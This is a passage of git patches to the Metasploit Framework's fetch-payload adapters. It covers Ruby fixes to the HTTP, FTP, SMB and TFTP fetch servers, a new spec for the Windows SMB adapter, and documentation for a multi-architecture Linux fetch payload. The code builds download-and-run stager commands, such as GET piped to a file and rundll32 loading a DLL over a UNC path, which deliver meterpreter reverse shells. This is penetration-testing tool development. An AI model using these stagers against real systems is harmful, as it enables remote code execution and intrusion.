ARCH_X64 when ARCH_X86, 'ARCH_X86' return ARCH_X86 From 108679a17e04d2c7237fef1f669eacb7586dff21 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Mon, 8 Jun 2026 14:52:44 -0500 Subject: [PATCH 13/18] Make adfoster/copilot-requested changes --- lib/msf/core/payload/adapter/fetch.rb | 11 ++++--- lib/msf/core/payload/adapter/fetch/http.rb | 1 - lib/msf/core/payload/adapter/fetch/https.rb | 1 - .../core/payload/adapter/fetch/server/ftp.rb | 3 +- .../core/payload/adapter/fetch/server/http.rb | 31 ++++++++++++------- .../core/payload/adapter/fetch/server/smb.rb | 2 +- .../core/payload/adapter/fetch/server/tftp.rb | 2 +- lib/rex/proto/ftp/server.rb | 6 ++-- .../linux/multi/meterpreter_reverse_tcp.rb | 3 +- spec/modules/payloads_spec.rb | 8 ----- 10 files changed, 34 insertions(+), 34 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 51b6aaeee8233..2a70ef2cc8f76 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -26,7 +26,7 @@ def initialize(*args) Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]) ] ) - deregister_options('REQUESTED_ARCH', 'FETCH_FILENAME') + deregister_options('REQUESTED_ARCH') @fetch_service = nil @myresources = [] @srv_resources = [] @@ -108,6 +108,7 @@ def fetch_bindnetloc def generate(opts = {}) if opts[:dynamic_arch].nil? + @srv_resources = [] opts[:arch] ||= module_info['AdaptedArch'] if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux' multi_supported_fileless = ['none', 'python3.8+'] @@ -394,9 +395,11 @@ def _generate_get_command(uri) when 'HTTP' get_file_cmd = "GET -m GET http://#{download_uri(uri)} | tee #{_remote_destination}" when 'HTTPS' - # There is no way to disable cert check in GET ... - print_error('GET binary does not support insecure mode') - fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') + unless datastore['FETCH_CHECK_CERT'] + # There is no way to disable cert check in GET ... + print_error('GET binary does not support insecure mode') + fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET') + end get_file_cmd = "GET -m GET https://#{download_uri(uri)} | tee #{_remote_destination}" when 'FTP' get_file_cmd = "GET ftp://#{download_uri(uri)} | tee #{_remote_destination}" diff --git a/lib/msf/core/payload/adapter/fetch/http.rb b/lib/msf/core/payload/adapter/fetch/http.rb index 300138576009b..35fe02d9cd2f3 100644 --- a/lib/msf/core/payload/adapter/fetch/http.rb +++ b/lib/msf/core/payload/adapter/fetch/http.rb @@ -23,7 +23,6 @@ def setup_handler @fetch_service = start_http_fetch_handler(srvname) @srv_resources.each do |srv_entry| escaped_uri = ('/' + srv_entry[:uri]).gsub('//', '/') - @myresources << escaped_uri add_resource(@fetch_service, escaped_uri, srv_entry) end end diff --git a/lib/msf/core/payload/adapter/fetch/https.rb b/lib/msf/core/payload/adapter/fetch/https.rb index 293030cfd797c..231fba6f51f01 100644 --- a/lib/msf/core/payload/adapter/fetch/https.rb +++ b/lib/msf/core/payload/adapter/fetch/https.rb @@ -23,7 +23,6 @@ def setup_handler @fetch_service = start_https_fetch_handler(srvname) @srv_resources.each do |srv_entry| escaped_uri = ('/' + srv_entry[:uri]).gsub('//', '/') - @myresources << escaped_uri add_resource(@fetch_service, escaped_uri, srv_entry) end end diff --git a/lib/msf/core/payload/adapter/fetch/server/ftp.rb b/lib/msf/core/payload/adapter/fetch/server/ftp.rb index 504d801b24e41..9969befd810d0 100644 --- a/lib/msf/core/payload/adapter/fetch/server/ftp.rb +++ b/lib/msf/core/payload/adapter/fetch/server/ftp.rb @@ -14,7 +14,8 @@ def cleanup_ftp_fetch_service(fetch_service) @myresources.each do |uri| fetch_service.deregister_file(uri) end - fetch_service.deref + @myresources = [] + fetch_service = nil end def fetch_protocol diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index 1bf669f22a3d1..2ccbf748cbc7a 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -21,21 +21,21 @@ def srvname def add_resource(fetch_service, uri, srv_entry) vprint_status("Adding resource #{uri}") + if fetch_service.resources.include?(uri) + # When we clean up, we need to leave resources alone, because we never added one. + fail_with(Msf::Exploit::Failure::BadConfig, 'Resource collision detected. Set FETCH_URIPATH to a different value to continue.') + end begin - if fetch_service.resources.include?(uri) - # When we clean up, we need to leave resources alone, because we never added one. - fail_with(Msf::Exploit::Failure::BadConfig, 'Resource collision detected. Set FETCH_URIPATH to a different value to continue.') - end fetch_service.add_resource(uri, 'Proc' => proc do |cli, req| - on_request_uri(cli, req, srv_entry) + on_request_uri(cli, req, srv_entry) end, 'VirtualDirectory' => true) + @myresources << uri rescue ::Exception => e # When we clean up, we need to leave resources alone, because we never added one. fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n#{e}") end - @myresources << uri end def cleanup_http_fetch_service(fetch_service, my_resources) @@ -45,7 +45,7 @@ def cleanup_http_fetch_service(fetch_service, my_resources) end end - fetch_service.deref + fetch_service = nil end def start_http_fetch_handler(srvname, ssl = false, ssl_cert = nil, ssl_compression = nil, ssl_cipher = nil, ssl_version = nil) @@ -62,7 +62,7 @@ def start_http_fetch_handler(srvname, ssl = false, ssl_cert = nil, ssl_compressi end def on_request_uri(cli, request, srv_entry) - opts = srv_entry[:opts] + opts = srv_entry[:opts].dup client = cli.peerhost vprint_status("Client #{client} requested #{request.uri}") if (user_agent = request.headers['User-Agent']) @@ -75,19 +75,22 @@ def on_request_uri(cli, request, srv_entry) arch_param = query_string['arch'] if arch_param.nil? || arch_param.strip.empty? print_error('Fetch request missing required arch query parameter') - return nil + cli.send_response(fetch_error_response(400, 'Bad Request')) + return end arch = Rex::Arch.from_uname(arch_param) if arch.nil? - print_error("Failed to identify the architecture in Query String #{request.uri_parts['QueryString']['arch'].to_s}") - return nil + print_error("Failed to identify the architecture in Query String #{arch_param}") + cli.send_response(fetch_error_response(404, 'Not Found')) + return end - vprint_status("Building payload for #{arch.to_s} arch") + vprint_status("Building payload for #{arch} arch") opts[:arch] = arch # Call generate with arch and dynamic_arch populated properly to build the right binary payload_exe = generate(opts) if payload_exe.nil? print_error("No payload available for #{arch}") + cli.send_response(fetch_error_response(404, 'Not Found')) else cli.send_response(payload_response(payload_exe)) end @@ -96,6 +99,10 @@ def on_request_uri(cli, request, srv_entry) end end + def fetch_error_response(code, message) + Rex::Proto::Http::Response.new(code, message, Rex::Proto::Http::DefaultProtocol) + end + def payload_response(srvexe) res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol) res['Content-Type'] = 'text/html' diff --git a/lib/msf/core/payload/adapter/fetch/server/smb.rb b/lib/msf/core/payload/adapter/fetch/server/smb.rb index e915d5095fcc3..057667a14bcc7 100644 --- a/lib/msf/core/payload/adapter/fetch/server/smb.rb +++ b/lib/msf/core/payload/adapter/fetch/server/smb.rb @@ -38,7 +38,7 @@ def start_smb_server(srvport, srvhost) def cleanup_smb_fetch_service(fetch_service) fetch_service.remove_share(@fetch_virtual_disk) - fetch_service.deref + fetch_service = nil end def fetch_protocol diff --git a/lib/msf/core/payload/adapter/fetch/server/tftp.rb b/lib/msf/core/payload/adapter/fetch/server/tftp.rb index 83267224446cc..3a9fc295d2f2d 100644 --- a/lib/msf/core/payload/adapter/fetch/server/tftp.rb +++ b/lib/msf/core/payload/adapter/fetch/server/tftp.rb @@ -14,7 +14,7 @@ def cleanup_tftp_fetch_service(fetch_service) fetch_service.deregister_file(uri) end @myresources = [] - fetch_service.deref + fetch_service = nil end def fetch_protocol diff --git a/lib/rex/proto/ftp/server.rb b/lib/rex/proto/ftp/server.rb index 5996d07e824b7..3a1a24755b31c 100644 --- a/lib/rex/proto/ftp/server.rb +++ b/lib/rex/proto/ftp/server.rb @@ -53,7 +53,7 @@ def start 'LocalPort' => listen_port, 'Context' => context ) - self.monitor_thread = Rex::ThreadFactory.spawn('FTPServerMonitor', false) do + self.monitor_thread = Rex::ThreadFactory.spawn("FTPServerMonitor-#{listen_host}-#{listen_port}", false) do monitor_socket end end @@ -80,7 +80,7 @@ def monitor_socket until shutting_down begin client = listener.accept - Rex::ThreadFactory.spawn('FTPServerClientHandler', false) do + Rex::ThreadFactory.spawn("FTPServerClientHandler-#{listen_host}-#{listen_port}", false) do handle_client(client) end rescue StandardError @@ -148,7 +148,7 @@ def handle_client(client) nil end state[:passive_sock] = Rex::Socket::TcpServer.create( - 'LocalHost' => '0.0.0.0', + 'LocalHost' => listen_host, 'LocalPort' => 0, 'Context' => context ) diff --git a/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb index 0148d807dd665..e023085e7809a 100644 --- a/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/linux/multi/meterpreter_reverse_tcp.rb @@ -28,9 +28,8 @@ def initialize(info = {}) end def generate(opts = {}) - vprint_status("#{__method__}:#{__LINE__}") mettle_arch = mettle_arch_transform(desired_arch(opts)) - vprint_status("#{__method__}:#{__LINE__}") + fail_with(Msf::Module::Failure::BadConfig, "Unsupported or unset architecture: #{desired_arch(opts).inspect}") if mettle_arch.nil? opts = { scheme: 'tcp', stageless: true diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 919e603fdb0d6..f22bc3ad1373e 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -644,14 +644,6 @@ reference_name: 'cmd/linux/http/mipsle' end - context 'cmd/linux/http/multi' do - it_should_behave_like 'payload is not cached', - ancestor_reference_names: [ - 'adapters/cmd/linux/http/multi' - ], - reference_name: 'cmd/linux/http/multi' - end - context 'cmd/linux/https/mipsle' do it_should_behave_like 'payload is not cached', ancestor_reference_names: [ From a02348165d2d9fa9ef57fd0c6c0dd0dc820291bb Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Thu, 11 Jun 2026 16:38:52 -0500 Subject: [PATCH 14/18] Make rubocop happy about keyword args and re-add FETCH_FILENAME to SMB --- modules/payloads/adapters/cmd/windows/smb/x64.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/payloads/adapters/cmd/windows/smb/x64.rb b/modules/payloads/adapters/cmd/windows/smb/x64.rb index 21e7f036a8c9b..6376fbf85a0eb 100644 --- a/modules/payloads/adapters/cmd/windows/smb/x64.rb +++ b/modules/payloads/adapters/cmd/windows/smb/x64.rb @@ -20,14 +20,14 @@ def initialize(info = {}) 'AdaptedPlatform' => 'win' ) ) - deregister_options('FETCH_COMMAND', 'FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR', 'FETCH_FILENAME') + deregister_options('FETCH_COMMAND', 'FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR') end def srvport 445 # UNC paths for SMB services *must* be 445 end - def generate_fetch_commands(_uri: srvuri, _dynamic_arch: false) + def generate_fetch_commands(**_) "rundll32 #{unc},0" end From 71323c7803f6d262f2c0de97c4e79e5a45f9b823 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Tue, 16 Jun 2026 14:15:41 -0500 Subject: [PATCH 15/18] Oh hey- forgot this lil spec file --- .../adapters/cmd/windows/smb/x64_spec.rb | 136 ++++++++++++++++++ 1 file changed, 136 insertions(+) create mode 100644 spec/modules/payloads/adapters/cmd/windows/smb/x64_spec.rb diff --git a/spec/modules/payloads/adapters/cmd/windows/smb/x64_spec.rb b/spec/modules/payloads/adapters/cmd/windows/smb/x64_spec.rb new file mode 100644 index 0000000000000..a5dc57e74b8bc --- /dev/null +++ b/spec/modules/payloads/adapters/cmd/windows/smb/x64_spec.rb @@ -0,0 +1,136 @@ +require 'rspec' + +RSpec.describe 'cmd/windows/smb/x64' do + include_context 'Msf::Simple::Framework#modules loading' + + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/smb/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/smb/x64', + 'singles/windows/x64/meterpreter_reverse_tcp' + ] + ) + end + + let(:lhost) { '192.168.1.100' } + let(:lport) { '4444' } + let(:fetch_srvhost) { '192.168.1.100' } + let(:fetch_uripath) { 'testshare' } + let(:fetch_filename) { 'payload.dll' } + + let(:datastore_values) do + { + 'LHOST' => lhost, + 'LPORT' => lport, + 'FETCH_SRVHOST' => fetch_srvhost, + 'FETCH_URIPATH' => fetch_uripath, + 'FETCH_FILENAME' => fetch_filename + } + end + + before(:each) { subject.datastore.merge!(datastore_values) } + + describe 'module metadata' do + it 'includes SMB Fetch in the name' do + expect(subject.name).to include('SMB Fetch') + end + + it 'targets the Windows platform' do + expect(subject.platform.platforms).to include(Msf::Module::Platform::Windows) + end + + it 'uses CMD arch' do + expect(subject.arch).to include(ARCH_CMD) + end + + it 'adapts x64 and not x86 payloads' do + expect(subject.send(:module_info)['AdaptedArch']).to eq(ARCH_X64) + end + + it 'has win as the adapted platform' do + expect(subject.send(:module_info)['AdaptedPlatform']).to eq('win') + end + end + + describe 'deregistered options' do + %w[FETCH_COMMAND FETCH_DELETE FETCH_SRVPORT FETCH_WRITABLE_DIR].each do |opt| + it "does not expose #{opt}" do + expect(subject.options.key?(opt)).to be(false) + end + end + end + + describe 'FETCH_FILENAME option' do + it 'is available' do + expect(subject.options.key?('FETCH_FILENAME')).to be(true) + end + + it 'defaults to test.dll' do + fresh = load_and_create_module( + module_type: 'payload', + reference_name: 'cmd/windows/smb/x64/meterpreter_reverse_tcp', + ancestor_reference_names: [ + 'adapters/cmd/windows/smb/x64', + 'singles/windows/x64/meterpreter_reverse_tcp' + ] + ) + expect(fresh.datastore['FETCH_FILENAME']).to eq('test.dll') + end + end + + describe '#srvport' do + it 'is hardcoded to 445' do + expect(subject.srvport).to eq(445) + end + end + + describe '#fetch_protocol' do + it 'returns SMB' do + expect(subject.fetch_protocol).to eq('SMB') + end + end + + describe '#windows?' do + it 'returns true for this Windows platform module' do + expect(subject.windows?).to be(true) + end + end + + describe '#unc' do + it 'begins with a double backslash and the server host' do + expect(subject.unc).to start_with("\\\\#{fetch_srvhost}") + end + + it 'includes the share name from FETCH_URIPATH' do + expect(subject.unc).to include("\\#{fetch_uripath}") + end + + it 'includes the filename from FETCH_FILENAME' do + expect(subject.unc).to include("\\#{fetch_filename}") + end + + it 'returns the full UNC path as host\\share\\filename' do + expect(subject.unc).to eq("\\\\#{fetch_srvhost}\\#{fetch_uripath}\\#{fetch_filename}") + end + end + + describe '#generate_fetch_commands' do + it 'returns a rundll32 command' do + expect(subject.generate_fetch_commands).to include('rundll32') + end + + it 'includes the UNC path' do + expect(subject.generate_fetch_commands).to include(subject.unc) + end + + it 'calls ordinal 0' do + expect(subject.generate_fetch_commands).to end_with(',0') + end + + it 'accepts uri and dynamic_arch keyword arguments without raising' do + expect { subject.generate_fetch_commands(uri: 'ignored', dynamic_arch: true) }.not_to raise_error + end + end +end From 14898a361ae3ecbcdfeee4e43452488bad5223a7 Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Tue, 7 Jul 2026 11:54:23 -0500 Subject: [PATCH 16/18] Go back to redirect over tee for GET payloads --- lib/msf/core/payload/adapter/fetch.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 2a70ef2cc8f76..65ad9d6a4b409 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -393,7 +393,7 @@ def _generate_get_command(uri) # Specifying the method (-m GET) is necessary on OSX case fetch_protocol when 'HTTP' - get_file_cmd = "GET -m GET http://#{download_uri(uri)} | tee #{_remote_destination}" + get_file_cmd = "GET -m GET http://#{download_uri(uri)}>#{_remote_destination}" when 'HTTPS' unless datastore['FETCH_CHECK_CERT'] # There is no way to disable cert check in GET ... From cec94465ca438c2afd8018652711f70d70019ccb Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Tue, 7 Jul 2026 13:12:23 -0500 Subject: [PATCH 17/18] Update spec to not look for tee --- spec/modules/payloads/adapters/cmd/linux/http/x64_spec.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/spec/modules/payloads/adapters/cmd/linux/http/x64_spec.rb b/spec/modules/payloads/adapters/cmd/linux/http/x64_spec.rb index 9ecd79bf15bac..52889357f0c10 100644 --- a/spec/modules/payloads/adapters/cmd/linux/http/x64_spec.rb +++ b/spec/modules/payloads/adapters/cmd/linux/http/x64_spec.rb @@ -166,10 +166,10 @@ ) end - it 'uses tee to write the file instead of shell redirection' do + it 'uses shell redirection to write the file' do cmd = subject.generate_fetch_commands - expect(cmd).to include('| tee') - expect(cmd).not_to match(/GET -m GET[^|]+>(?!\s*\/dev\/null)/) + expect(cmd).not_to include('| tee') + expect(cmd).to match(/GET -m GET[^|]+>/) end end From 67af82ec4a3277a6469b5a6932a841ebd65cc15a Mon Sep 17 00:00:00 2001 From: bwatters-r7 Date: Wed, 8 Jul 2026 15:05:53 -0500 Subject: [PATCH 18/18] Add documentation for fetch multi and warning about mips behavior. --- .../How-to-use-fetch-payloads.md | 14 ++++++++++++++ lib/msf/core/payload/adapter/fetch/server/http.rb | 5 +++++ 2 files changed, 19 insertions(+) diff --git a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md index d28dfdbe4aed0..eae59afea6665 100644 --- a/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md +++ b/docs/metasploit-framework.wiki/How-to-use-fetch-payloads.md @@ -37,6 +37,20 @@ For example: 3. Start a served payload handler for the served payload to call back to 4. Generate a command to execute on a remote host that will download the served payload and run it. +## Fetch Multi +The Fetch Multi Arch payload (cmd/linux/http[s]/multi/) is a specific Linux Fetch payload type that identifies +the architecture of the target host during the execution of the command-based stager. The command-based stager embeds +the architecture as a query string in the download request so that the fetch server serves the right payload for the +target architecture. This allows users to launch a remote exploit without knowing the architecture of the target +system. +Limitations: +1. The payload uses a query string to report the target arch, so it only works with HTTP[S] fetch protocol payloads. +2. We don't support much AARCH64 on Windows, and x86 is well-emulated on Windows hosts, so for now, this only supports +Linux. +3. There exists a curious and annoying feature in some mips kernels that they return `mips` as the `uname -m` value. This +_normally_ means that the target is mipsbe, but there are some cases when it is actually mipsel/mipsle. If your target +reports that the uname value is 'mips' it will be served a mipsbe payload, but there will be a warning message that +suggests you try an explicit mipsle payload if the automatic mipsbe payload fails. ## A Simple Stand-Alone Example The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let's assume a Linux diff --git a/lib/msf/core/payload/adapter/fetch/server/http.rb b/lib/msf/core/payload/adapter/fetch/server/http.rb index 2ccbf748cbc7a..878b4aa20e926 100644 --- a/lib/msf/core/payload/adapter/fetch/server/http.rb +++ b/lib/msf/core/payload/adapter/fetch/server/http.rb @@ -79,12 +79,17 @@ def on_request_uri(cli, request, srv_entry) return end arch = Rex::Arch.from_uname(arch_param) + if arch_param == 'mips' + print_warning("Detected 'mips' architecture using 'uname'. Normally, this means mipsbe, but it sometimes means mips[el|le].") + print_warning('Serving a mipsbe payload. If the payload fails, retry with an explicit mipsle payload.') + end if arch.nil? print_error("Failed to identify the architecture in Query String #{arch_param}") cli.send_response(fetch_error_response(404, 'Not Found')) return end vprint_status("Building payload for #{arch} arch") + opts[:arch] = arch # Call generate with arch and dynamic_arch populated properly to build the right binary payload_exe = generate(opts)